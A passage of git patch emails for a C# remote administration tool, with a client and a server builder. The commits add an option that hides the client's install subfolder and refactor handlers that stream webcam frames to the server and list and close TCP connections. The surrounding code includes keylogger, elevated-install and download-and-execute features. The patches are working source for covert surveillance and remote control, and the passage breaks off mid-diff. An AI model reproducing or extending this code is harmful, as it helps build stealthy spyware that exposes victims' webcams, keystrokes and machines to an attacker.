Server/Forms/FrmBuilder.Designer.cs | 126 +++++++++++++++------------- Server/Forms/FrmBuilder.cs | 6 ++ 6 files changed, 92 insertions(+), 56 deletions(-) diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index 4d72ca7b7..62af629c0 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -52,6 +52,7 @@ public static bool Initialize() public static string TAG = "RELEASE"; public static string LOGDIRECTORYNAME = "Logs"; public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBFOLDER = false; public static bool Initialize() { diff --git a/Client/Program.cs b/Client/Program.cs index 98c795244..2ffef74f5 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -116,7 +116,18 @@ private static bool Initialize() { } } + if (Settings.INSTALL && Settings.HIDEINSTALLSUBFOLDER && !string.IsNullOrEmpty(Settings.SUBFOLDER)) + { + try + { + DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath)); + di.Attributes |= FileAttributes.Hidden; + } + catch (Exception) + { + } + } if (Settings.ENABLELOGGER) { new Thread(() => diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index 14e8597ab..add297892 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -94,6 +94,9 @@ public static void Build(BuildOptions options) case 5: //HideLogDirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory)); break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory)); + break; } bools++; } diff --git a/Server/Core/Data/BuildOptions.cs b/Server/Core/Data/BuildOptions.cs index 06b98125d..420507588 100644 --- a/Server/Core/Data/BuildOptions.cs +++ b/Server/Core/Data/BuildOptions.cs @@ -22,5 +22,6 @@ public class BuildOptions public string[] AssemblyInformation { get; set; } public string LogDirectoryName { get; set; } public bool HideLogDirectory { get; set; } + public bool HideInstallSubdirectory { get; set; } } } diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index de7de1d7c..c843230dd 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -32,10 +32,6 @@ private void InitializeComponent() System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder)); this.btnBuild = new System.Windows.Forms.Button(); this.tooltip = new System.Windows.Forms.ToolTip(this.components); - this.picUAC2 = new System.Windows.Forms.PictureBox(); - this.picUAC1 = new System.Windows.Forms.PictureBox(); - this.rbSystem = new System.Windows.Forms.RadioButton(); - this.rbProgramFiles = new System.Windows.Forms.RadioButton(); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -77,8 +73,12 @@ private void InitializeComponent() this.label10 = new System.Windows.Forms.Label(); this.line4 = new xServer.Controls.Line(); this.label5 = new System.Windows.Forms.Label(); + this.picUAC2 = new System.Windows.Forms.PictureBox(); + this.picUAC1 = new System.Windows.Forms.PictureBox(); this.chkInstall = new System.Windows.Forms.CheckBox(); + this.rbSystem = new System.Windows.Forms.RadioButton(); this.lblInstallname = new System.Windows.Forms.Label(); + this.rbProgramFiles = new System.Windows.Forms.RadioButton(); this.txtInstallname = new System.Windows.Forms.TextBox(); this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); this.lblExtension = new System.Windows.Forms.Label(); @@ -124,8 +124,7 @@ private void InitializeComponent() this.line10 = new xServer.Controls.Line(); this.label14 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.chkHideSubdirectory = new System.Windows.Forms.CheckBox(); this.contextMenuStrip.SuspendLayout(); this.builderTabs.SuspendLayout(); this.generalPage.SuspendLayout(); @@ -133,6 +132,8 @@ private void InitializeComponent() ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).BeginInit(); this.installationPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); this.assemblyPage.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); this.surveillanceTab.SuspendLayout(); @@ -148,54 +149,6 @@ private void InitializeComponent() this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); // - // picUAC2 - // - this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; - this.picUAC2.Location = new System.Drawing.Point(363, 88); - this.picUAC2.Name = "picUAC2"; - this.picUAC2.Size = new System.Drawing.Size(16, 20); - this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picUAC2.TabIndex = 32; - this.picUAC2.TabStop = false; - this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); - // - // picUAC1 - // - this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; - this.picUAC1.Location = new System.Drawing.Point(363, 68); - this.picUAC1.Name = "picUAC1"; - this.picUAC1.Size = new System.Drawing.Size(16, 20); - this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picUAC1.TabIndex = 31; - this.picUAC1.TabStop = false; - this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); - // - // rbSystem - // - this.rbSystem.AutoSize = true; - this.rbSystem.Location = new System.Drawing.Point(241, 91); - this.rbSystem.Name = "rbSystem"; - this.rbSystem.Size = new System.Drawing.Size(60, 17); - this.rbSystem.TabIndex = 5; - this.rbSystem.TabStop = true; - this.rbSystem.Text = "System"; - this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); - this.rbSystem.UseVisualStyleBackColor = true; - this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - // - // rbProgramFiles - // - this.rbProgramFiles.AutoSize = true; - this.rbProgramFiles.Location = new System.Drawing.Point(241, 68); - this.rbProgramFiles.Name = "rbProgramFiles"; - this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); - this.rbProgramFiles.TabIndex = 4; - this.rbProgramFiles.TabStop = true; - this.rbProgramFiles.Text = "Program Files"; - this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); - this.rbProgramFiles.UseVisualStyleBackColor = true; - this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - // // contextMenuStrip // this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { @@ -588,6 +541,7 @@ private void InitializeComponent() // installationPage // this.installationPage.BackColor = System.Drawing.SystemColors.Control; + this.installationPage.Controls.Add(this.chkHideSubdirectory); this.installationPage.Controls.Add(this.line7); this.installationPage.Controls.Add(this.label10); this.installationPage.Controls.Add(this.line4); @@ -653,6 +607,28 @@ private void InitializeComponent() this.label5.TabIndex = 0; this.label5.Text = "Installation Location"; // + // picUAC2 + // + this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC2.Location = new System.Drawing.Point(363, 88); + this.picUAC2.Name = "picUAC2"; + this.picUAC2.Size = new System.Drawing.Size(16, 20); + this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC2.TabIndex = 32; + this.picUAC2.TabStop = false; + this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); + // + // picUAC1 + // + this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC1.Location = new System.Drawing.Point(363, 68); + this.picUAC1.Name = "picUAC1"; + this.picUAC1.Size = new System.Drawing.Size(16, 20); + this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC1.TabIndex = 31; + this.picUAC1.TabStop = false; + this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); + // // chkInstall // this.chkInstall.AutoSize = true; @@ -664,6 +640,19 @@ private void InitializeComponent() this.chkInstall.UseVisualStyleBackColor = true; this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); // + // rbSystem + // + this.rbSystem.AutoSize = true; + this.rbSystem.Location = new System.Drawing.Point(241, 91); + this.rbSystem.Name = "rbSystem"; + this.rbSystem.Size = new System.Drawing.Size(60, 17); + this.rbSystem.TabIndex = 5; + this.rbSystem.TabStop = true; + this.rbSystem.Text = "System"; + this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); + this.rbSystem.UseVisualStyleBackColor = true; + this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // // lblInstallname // this.lblInstallname.AutoSize = true; @@ -673,6 +662,19 @@ private void InitializeComponent() this.lblInstallname.TabIndex = 8; this.lblInstallname.Text = "Install Name:"; // + // rbProgramFiles + // + this.rbProgramFiles.AutoSize = true; + this.rbProgramFiles.Location = new System.Drawing.Point(241, 68); + this.rbProgramFiles.Name = "rbProgramFiles"; + this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); + this.rbProgramFiles.TabIndex = 4; + this.rbProgramFiles.TabStop = true; + this.rbProgramFiles.Text = "Program Files"; + this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); + this.rbProgramFiles.UseVisualStyleBackColor = true; + this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // // txtInstallname // this.txtInstallname.Location = new System.Drawing.Point(182, 153); @@ -1115,6 +1117,17 @@ private void InitializeComponent() this.chkKeylogger.UseVisualStyleBackColor = true; this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting); // + // chkHideSubdirectory + // + this.chkHideSubdirectory.AutoSize = true; + this.chkHideSubdirectory.Location = new System.Drawing.Point(186, 185); + this.chkHideSubdirectory.Name = "chkHideSubdirectory"; + this.chkHideSubdirectory.Size = new System.Drawing.Size(202, 17); + this.chkHideSubdirectory.TabIndex = 37; + this.chkHideSubdirectory.Text = "Set subfolder attributes to hidden"; + this.chkHideSubdirectory.UseVisualStyleBackColor = true; + this.chkHideSubdirectory.CheckedChanged += new System.EventHandler(this.chkHideSubdirectory_CheckedChanged); + // // FrmBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -1133,8 +1146,6 @@ private void InitializeComponent() this.Text = "Client Builder"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); this.Load += new System.EventHandler(this.FrmBuilder_Load); - ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); this.contextMenuStrip.ResumeLayout(false); this.builderTabs.ResumeLayout(false); this.generalPage.ResumeLayout(false); @@ -1145,6 +1156,8 @@ private void InitializeComponent() ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit(); this.installationPage.ResumeLayout(false); this.installationPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); this.assemblyPage.ResumeLayout(false); this.assemblyPage.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); @@ -1250,5 +1263,6 @@ private void InitializeComponent() private System.Windows.Forms.CheckBox chkHideLogDirectory; private System.Windows.Forms.NumericUpDown numericUpDownDelay; private System.Windows.Forms.NumericUpDown numericUpDownPort; + private System.Windows.Forms.CheckBox chkHideSubdirectory; } } diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 96b7734d8..3dcbf5c8a 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -264,6 +264,7 @@ private BuildOptions ValidateInput() options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; + options.HideInstallSubdirectory = chkHideSubdirectory.Checked; if (options.Password.Length < 3) { @@ -475,5 +476,10 @@ private void HasChangedSettingAndFilePath(object sender, EventArgs e) RefreshPreviewPath(); } + + private void chkHideSubdirectory_CheckedChanged(object sender, EventArgs e) + { + + } } } \ No newline at end of file From 511894824fc4f6910f4cf4be189fa6bc675f75ce Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Tue, 14 Jun 2016 15:44:52 +0300 Subject: [PATCH 049/229] Removed CheckedChanged event addead by mistake --- Server/Forms/FrmBuilder.Designer.cs | 1 - Server/Forms/FrmBuilder.cs | 5 ----- 2 files changed, 6 deletions(-) diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index c843230dd..285f2fd63 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -1126,7 +1126,6 @@ private void InitializeComponent() this.chkHideSubdirectory.TabIndex = 37; this.chkHideSubdirectory.Text = "Set subfolder attributes to hidden"; this.chkHideSubdirectory.UseVisualStyleBackColor = true; - this.chkHideSubdirectory.CheckedChanged += new System.EventHandler(this.chkHideSubdirectory_CheckedChanged); // // FrmBuilder // diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index 3dcbf5c8a..db9e3afb9 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -476,10 +476,5 @@ private void HasChangedSettingAndFilePath(object sender, EventArgs e) RefreshPreviewPath(); } - - private void chkHideSubdirectory_CheckedChanged(object sender, EventArgs e) - { - - } } } \ No newline at end of file From a4dd28110e950efb9d489f5123fd0ddbcbcedd43 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Tue, 14 Jun 2016 15:55:02 +0300 Subject: [PATCH 050/229] Added the 'hideinstallsubfolder' variable in debugging mode --- Client/Config/Settings.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index 62af629c0..7191cebc9 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -27,6 +27,7 @@ public static class Settings public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBFOLDER = false; public static bool Initialize() { From 3ed8a403b8f6357d0d624cee8f480e675445da0b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 18 Jun 2016 19:31:05 +0200 Subject: [PATCH 051/229] Some coding style adjustments and fixes --- Client/Core/Commands/SurveillanceHandler.cs | 3 +- Client/Core/Commands/TCPConnectionsHandler.cs | 179 ++++++++---------- Client/Core/Commands/WebcamHandler.cs | 93 +++++---- Client/Core/Packets/PacketHandler.cs | 1 + Server/Core/Commands/SurveillanceHandler.cs | 2 +- Server/Core/Networking/UserState.cs | 2 + Server/Forms/FrmMain.Designer.cs | 1 + Server/Forms/FrmMain.cs | 7 +- 8 files changed, 136 insertions(+), 152 deletions(-) diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index 7a90906a4..b6884edb7 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -12,8 +12,7 @@ using xClient.Core.Data; using xClient.Core.Recovery.Browsers; using xClient.Core.Recovery.FtpClients; -using AForge.Video.DirectShow; -using AForge.Video; + namespace xClient.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ diff --git a/Client/Core/Commands/TCPConnectionsHandler.cs b/Client/Core/Commands/TCPConnectionsHandler.cs index 134e1b228..53d91782a 100644 --- a/Client/Core/Commands/TCPConnectionsHandler.cs +++ b/Client/Core/Commands/TCPConnectionsHandler.cs @@ -3,55 +3,53 @@ using System.Net; using System.Runtime.InteropServices; using xClient.Core.Networking; +using xClient.Core.Packets.ClientPackets; using xClient.Core.Packets.ServerPackets; namespace xClient.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ + public static partial class CommandHandler { public static void HandleGetConnections(Client client, GetConnections packet) { - MIB_TCPROW_OWNER_PID[] table = GetTable(); - string[] Processes = new string[table.Length]; - string[] LocalAddresses = new string[table.Length]; - string[] LocalPorts = new string[table.Length]; - string[] RemoteAddresses = new string[table.Length]; - string[] RemotePorts = new string[table.Length]; - byte[] States = new byte[table.Length]; - - /*int i = 0; - foreach (string proc in Processes)*/ - - for (int i = 0; i < table.Length; i++) + var table = GetTable(); + var processes = new string[table.Length]; + var localAddresses = new string[table.Length]; + var localPorts = new string[table.Length]; + var remoteAddresses = new string[table.Length]; + var remotePorts = new string[table.Length]; + var states = new byte[table.Length]; + + for (var i = 0; i < table.Length; i++) { - LocalAddresses[i] = string.Format("{0}", table[i].LocalAddress); - LocalPorts[i] = string.Format("{0}", table[i].LocalPort); - RemoteAddresses[i] = string.Format("{0}", table[i].RemoteAddress); - RemotePorts[i] = string.Format("{0}", table[i].RemotePort); - States[i] = Convert.ToByte(table[i].state); + localAddresses[i] = table[i].LocalAddress.ToString(); + localPorts[i] = table[i].LocalPort.ToString(); + remoteAddresses[i] = table[i].RemoteAddress.ToString(); + remotePorts[i] = table[i].RemotePort.ToString(); + states[i] = Convert.ToByte(table[i].state); try { - Process p = Process.GetProcessById((int)table[i].owningPid); - Processes[i] = p.ProcessName; + var p = Process.GetProcessById((int) table[i].owningPid); + processes[i] = p.ProcessName; } catch { - Processes[i] = string.Format("PID: {0}", table[i].owningPid); + processes[i] = string.Format("PID: {0}", table[i].owningPid); } - } - new Packets.ClientPackets.GetConnectionsResponse(Processes, LocalAddresses, LocalPorts, RemoteAddresses, RemotePorts, States).Execute(client); - - } + new GetConnectionsResponse(processes, localAddresses, localPorts, remoteAddresses, remotePorts, states) + .Execute(client); + } public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) { - MIB_TCPROW_OWNER_PID[] table = GetTable(); - bool matchFound = false; // handle if connections's ports found - for (int i = 0; i < table.Length; i++) + var table = GetTable(); + var matchFound = false; // handle if connections's ports found + for (var i = 0; i < table.Length; i++) { //search for connection by Local and Remote Ports if ((packet.LocalPort.ToString() == table[i].LocalPort.ToString()) && @@ -60,37 +58,39 @@ public static void HandleDoCloseConnection(Client client, DoCloseConnection pack { matchFound = true; //table[i].state = (byte)ConnectionStates.Delete_TCB; - table[i].state = 12; // 12 for Delete_TCB state - IntPtr ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + table[i].state = 12; // 12 for Delete_TCB state + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); Marshal.StructureToPtr(table[i], ptr, false); - int ret = SetTcpEntry(ptr); + SetTcpEntry(ptr); } } - if (matchFound) { HandleGetConnections(client, new GetConnections()); } + if (matchFound) + { + HandleGetConnections(client, new GetConnections()); + } } - public static MIB_TCPROW_OWNER_PID[] GetTable() + public static MibTcprowOwnerPid[] GetTable() { - MIB_TCPROW_OWNER_PID[] tTable; - int AF_INET = 2; - int buffSize = 0; - uint ret = GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); - IntPtr buffTable = Marshal.AllocHGlobal(buffSize); + MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + var ret = GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); try { - ret = GetExtendedTcpTable(buffTable, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL); + ret = GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, TcpTableClass.TcpTableOwnerPidAll); if (ret != 0) return null; - MIB_TCPTABLE_OWNER_PID tab = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(buffTable, typeof(MIB_TCPTABLE_OWNER_PID)); - IntPtr rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); - tTable = new MIB_TCPROW_OWNER_PID[tab.dwNumEntries]; - for (int i = 0; i < tab.dwNumEntries; i++) + var tab = (MibTcptableOwnerPid) Marshal.PtrToStructure(buffTable, typeof(MibTcptableOwnerPid)); + var rowPtr = (IntPtr) ((long) buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) { - MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(rowPtr, typeof(MIB_TCPROW_OWNER_PID)); + var tcpRow = (MibTcprowOwnerPid) Marshal.PtrToStructure(rowPtr, typeof(MibTcprowOwnerPid)); tTable[i] = tcpRow; - rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + rowPtr = (IntPtr) ((long) rowPtr + Marshal.SizeOf(tcpRow)); } - } finally { @@ -98,76 +98,63 @@ public static MIB_TCPROW_OWNER_PID[] GetTable() } return tTable; } + + [DllImport("iphlpapi.dll", SetLastError = true)] + private static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + private static extern int SetTcpEntry(IntPtr pTcprow); + [StructLayout(LayoutKind.Sequential)] - public struct MIB_TCPROW_OWNER_PID + public struct MibTcprowOwnerPid { - public UInt32 state; - public UInt32 localAddr; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public byte[] localPort; - public UInt32 remoteAddr; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public byte[] remotePort; - public UInt32 owningPid; - - public System.Net.IPAddress LocalAddress + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + + public IPAddress LocalAddress { - get - { - return new System.Net.IPAddress(localAddr); - } + get { return new IPAddress(localAddr); } } public ushort LocalPort { - get - { - return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); - } + get { return BitConverter.ToUInt16(new byte[2] {localPort[1], localPort[0]}, 0); } } - public System.Net.IPAddress RemoteAddress + public IPAddress RemoteAddress { - get - { - return new IPAddress(remoteAddr); - } + get { return new IPAddress(remoteAddr); } } public ushort RemotePort { - get - { - return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); - } + get { return BitConverter.ToUInt16(new byte[2] {remotePort[1], remotePort[0]}, 0); } } } + [StructLayout(LayoutKind.Sequential)] - public struct MIB_TCPTABLE_OWNER_PID + public struct MibTcptableOwnerPid { public uint dwNumEntries; - MIB_TCPROW_OWNER_PID table; + private readonly MibTcprowOwnerPid table; } - enum TCP_TABLE_CLASS + + private enum TcpTableClass { - TCP_TABLE_BASIC_LISTENER, - TCP_TABLE_BASIC_CONNECTIONS, - TCP_TABLE_BASIC_ALL, - TCP_TABLE_OWNER_PID_LISTENER, - TCP_TABLE_OWNER_PID_CONNECTIONS, - TCP_TABLE_OWNER_PID_ALL, - TCP_TABLE_OWNER_MODULE_LISTENER, - TCP_TABLE_OWNER_MODULE_CONNECTIONS, - TCP_TABLE_OWNER_MODULE_ALL + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll } - - [DllImport("iphlpapi.dll", SetLastError = true)] - static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_CLASS tblClass, UInt32 reserved = 0); - - [DllImport("iphlpapi.dll")] - private static extern int SetTcpEntry(IntPtr pTcprow); - - } - -} - + } +} \ No newline at end of file diff --git a/Client/Core/Commands/WebcamHandler.cs b/Client/Core/Commands/WebcamHandler.cs index 0e4e895a8..9a1a119b2 100644 --- a/Client/Core/Commands/WebcamHandler.cs +++ b/Client/Core/Commands/WebcamHandler.cs @@ -1,84 +1,81 @@ -using System; +using System.Collections.Generic; using System.Drawing; -using System.IO; -using System.Windows.Forms; -using xClient.Core.Helper; using System.Drawing.Imaging; -using System.Threading; -using xClient.Core.Networking; -using xClient.Core.Utilities; -using xClient.Enums; -using System.Collections.Generic; -using xClient.Core.Data; -using xClient.Core.Recovery.Browsers; -using xClient.Core.Recovery.FtpClients; -using AForge.Video.DirectShow; +using System.IO; using AForge.Video; +using AForge.Video.DirectShow; +using xClient.Core.Networking; +using xClient.Core.Packets.ClientPackets; +using xClient.Core.Packets.ServerPackets; namespace xClient.Core.Commands { - - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE WEBCAM COMMANDS. */ + public static partial class CommandHandler { - public static bool webcamStarted = false; - public static bool needsCapture = false; - public static Client _client; - public static int webcam; + public static bool WebcamStarted; + public static bool NeedsCapture; + public static Client Client; + public static int Webcam; public static VideoCaptureDevice FinalVideo; - public static void HandleGetWebcams(Packets.ServerPackets.GetWebcams command, Client client) + public static void HandleGetWebcams(GetWebcams command, Client client) { - List result = new List(); - FilterInfoCollection VideoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - foreach (FilterInfo VideoCaptureDevice in VideoCaptureDevices) + var result = new List(); + var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) { - result.Add(VideoCaptureDevice.Name); + result.Add(videoCaptureDevice.Name); } if (result.Count > 0) - new Packets.ClientPackets.GetWebcamsResponse(result).Execute(client); + new GetWebcamsResponse(result).Execute(client); } - - public static void HandleGetWebcam(Packets.ServerPackets.GetWebcam command, Client client) + public static void HandleGetWebcam(GetWebcam command, Client client) { - _client = client; - needsCapture = true; - webcam = command.Webcam; - if (!webcamStarted) + Client = client; + NeedsCapture = true; + Webcam = command.Webcam; + if (!WebcamStarted) { - FilterInfoCollection VideoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - FinalVideo = new VideoCaptureDevice(VideoCaptureDevices[command.Webcam].MonikerString); + var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + FinalVideo = new VideoCaptureDevice(videoCaptureDevices[command.Webcam].MonikerString); FinalVideo.NewFrame += FinalVideo_NewFrame; FinalVideo.Start(); - webcamStarted = true; + WebcamStarted = true; } } - public static void HandleDoWebcamStop(Packets.ServerPackets.DoWebcamStop command, Client client) + + public static void HandleDoWebcamStop(DoWebcamStop command, Client client) { - needsCapture = false; - webcamStarted = false; - FinalVideo.NewFrame -= FinalVideo_NewFrame; - FinalVideo.Stop(); + NeedsCapture = false; + WebcamStarted = false; + Client = null; + if (FinalVideo != null) + { + FinalVideo.NewFrame -= FinalVideo_NewFrame; + FinalVideo.Stop(); + FinalVideo = null; + } } + private static void FinalVideo_NewFrame(object sender, NewFrameEventArgs e) { - if (!webcamStarted) + if (!WebcamStarted) FinalVideo.Stop(); - if (needsCapture) + if (NeedsCapture) { - byte[] imagegeBytes = new byte[0]; - Bitmap image = (Bitmap)e.Frame.Clone(); - using (MemoryStream stream = new MemoryStream()) + var image = (Bitmap) e.Frame.Clone(); + using (var stream = new MemoryStream()) { - image.Save(stream, System.Drawing.Imaging.ImageFormat.Bmp); - new Packets.ClientPackets.GetWebcamResponse(stream.ToArray(), webcam).Execute(_client); + image.Save(stream, ImageFormat.Bmp); + new GetWebcamResponse(stream.ToArray(), Webcam).Execute(Client); stream.Close(); } - needsCapture = false; + NeedsCapture = false; } } } -} +} \ No newline at end of file diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index 7e8d656b0..5449b165d 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -9,6 +9,7 @@ public static class PacketHandler public static void HandlePacket(Client client, IPacket packet) { var type = packet.GetType(); + if (type == typeof(ServerPackets.DoDownloadAndExecute)) { CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet, diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 76f2dc784..fe267a1df 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -178,6 +178,7 @@ public static void HandleGetWebcamsResponse(Client client, GetWebcamsResponse pa { if (client.Value == null || client.Value.FrmWebcam == null) return; + client.Value.FrmWebcam.AddWebcams(packet.Names); } @@ -200,7 +201,6 @@ public static void HandleGetWebcamResponse(Client client, GetWebcamResponse pack if (client.Value != null && client.Value.FrmWebcam != null && client.Value.FrmWebcam.IsStarted) { new GetWebcam(packet.Webcam).Execute(client); - } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index bfa3bc322..ad7c8dd42 100644 --- a/Server/Core/Networking/UserState.cs +++ 